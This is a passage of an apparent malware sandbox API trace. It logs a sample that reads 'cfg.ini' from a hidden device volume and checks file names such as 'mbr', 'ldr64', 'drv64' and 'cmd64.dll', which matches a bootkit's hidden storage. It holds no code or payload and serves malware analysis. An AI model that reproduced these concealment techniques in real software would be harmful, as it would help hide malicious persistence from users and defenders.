out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.917] KeEnterCriticalRegion () [0129.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.917] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf2000 [0129.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.917] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.917] IdePortDispatch () returned 0x103 [0129.917] KeWaitForMutexObject () returned 0x0 [0129.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.917] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.917] IdePortDispatch () returned 0x103 [0129.917] KeWaitForMutexObject () returned 0x0 [0129.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.917] KeLeaveCriticalRegion () [0129.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.918] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.918] KeEnterCriticalRegion () [0129.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.918] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.918] KeLeaveCriticalRegion () [0129.918] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.918] KeEnterCriticalRegion () [0129.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.918] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.918] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.918] KeLeaveCriticalRegion () [0129.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.918] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.918] KeEnterCriticalRegion () [0129.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.918] ExFreePoolWithTag (P=0xfffffa8003c08d10, Tag=0x0) [0129.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.918] KeLeaveCriticalRegion () [0129.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.918] ReleaseMutex (hMutex=0xf0) returned 1 [0129.918] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.918] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.918] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.918] KeEnterCriticalRegion () [0129.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.918] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.918] IdePortDispatch () returned 0x103 [0129.918] KeWaitForMutexObject () returned 0x0 [0129.919] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.919] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.919] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.919] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.919] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.919] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08fb0 [0129.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.919] KeLeaveCriticalRegion () [0129.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.919] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.919] KeEnterCriticalRegion () [0129.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.919] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.919] KeLeaveCriticalRegion () [0129.919] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.919] KeEnterCriticalRegion () [0129.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.919] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.919] IdePortDispatch () returned 0x103 [0129.919] KeWaitForMutexObject () returned 0x0 [0129.919] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.919] KeLeaveCriticalRegion () [0129.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.919] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.919] KeEnterCriticalRegion () [0129.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.919] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf3000 [0129.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.920] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.920] IdePortDispatch () returned 0x103 [0129.920] KeWaitForMutexObject () returned 0x0 [0129.920] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.920] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.920] IdePortDispatch () returned 0x103 [0129.920] KeWaitForMutexObject () returned 0x0 [0129.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.920] KeLeaveCriticalRegion () [0129.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.921] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.921] KeEnterCriticalRegion () [0129.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.921] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.921] KeLeaveCriticalRegion () [0129.921] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.921] KeEnterCriticalRegion () [0129.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.921] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.921] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.921] KeLeaveCriticalRegion () [0129.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.921] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.921] KeEnterCriticalRegion () [0129.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.921] ExFreePoolWithTag (P=0xfffffa8003c08fb0, Tag=0x0) [0129.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.921] KeLeaveCriticalRegion () [0129.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.921] ReleaseMutex (hMutex=0xf0) returned 1 [0129.921] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.921] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.921] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.921] KeEnterCriticalRegion () [0129.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.921] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.921] IdePortDispatch () returned 0x103 [0129.921] KeWaitForMutexObject () returned 0x0 [0129.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.921] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.921] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.922] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.922] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.922] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07f60 [0129.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.922] KeLeaveCriticalRegion () [0129.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.922] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.922] KeEnterCriticalRegion () [0129.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.922] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.922] KeLeaveCriticalRegion () [0129.922] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.922] KeEnterCriticalRegion () [0129.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.922] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.922] IdePortDispatch () returned 0x103 [0129.922] KeWaitForMutexObject () returned 0x0 [0129.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.922] KeLeaveCriticalRegion () [0129.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.922] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.922] KeEnterCriticalRegion () [0129.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.922] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf4000 [0129.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.922] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.922] IdePortDispatch () returned 0x103 [0129.922] KeWaitForMutexObject () returned 0x0 [0129.923] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.923] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.923] IdePortDispatch () returned 0x103 [0129.923] KeWaitForMutexObject () returned 0x0 [0129.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.923] KeLeaveCriticalRegion () [0129.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.923] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.923] KeEnterCriticalRegion () [0129.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.924] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.924] KeLeaveCriticalRegion () [0129.924] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.924] KeEnterCriticalRegion () [0129.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.924] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.924] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.924] KeLeaveCriticalRegion () [0129.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.924] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.924] KeEnterCriticalRegion () [0129.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.924] ExFreePoolWithTag (P=0xfffffa8003c07f60, Tag=0x0) [0129.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.924] KeLeaveCriticalRegion () [0129.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.924] ReleaseMutex (hMutex=0xf0) returned 1 [0129.924] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.924] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.924] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.924] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.924] KeEnterCriticalRegion () [0129.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.924] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.924] IdePortDispatch () returned 0x103 [0129.924] KeWaitForMutexObject () returned 0x0 [0129.925] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.925] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.925] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.925] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.925] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.925] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.925] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.925] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.925] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.925] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.925] KeLeaveCriticalRegion () [0129.925] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.925] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.925] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.925] KeEnterCriticalRegion () [0129.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.925] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.925] IdePortDispatch () returned 0x103 [0129.925] KeWaitForMutexObject () returned 0x0 [0129.925] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.925] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.925] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.925] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.925] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.925] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.925] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.925] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.925] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.925] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.926] KeLeaveCriticalRegion () [0129.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.926] ReleaseMutex (hMutex=0x100) returned 1 [0129.926] Sleep (dwMilliseconds=0x2bf20) [0129.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70a43430, dwHighDateTime=0x1d24fa4)) [0129.936] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.936] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.936] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.936] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.936] KeEnterCriticalRegion () [0129.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: 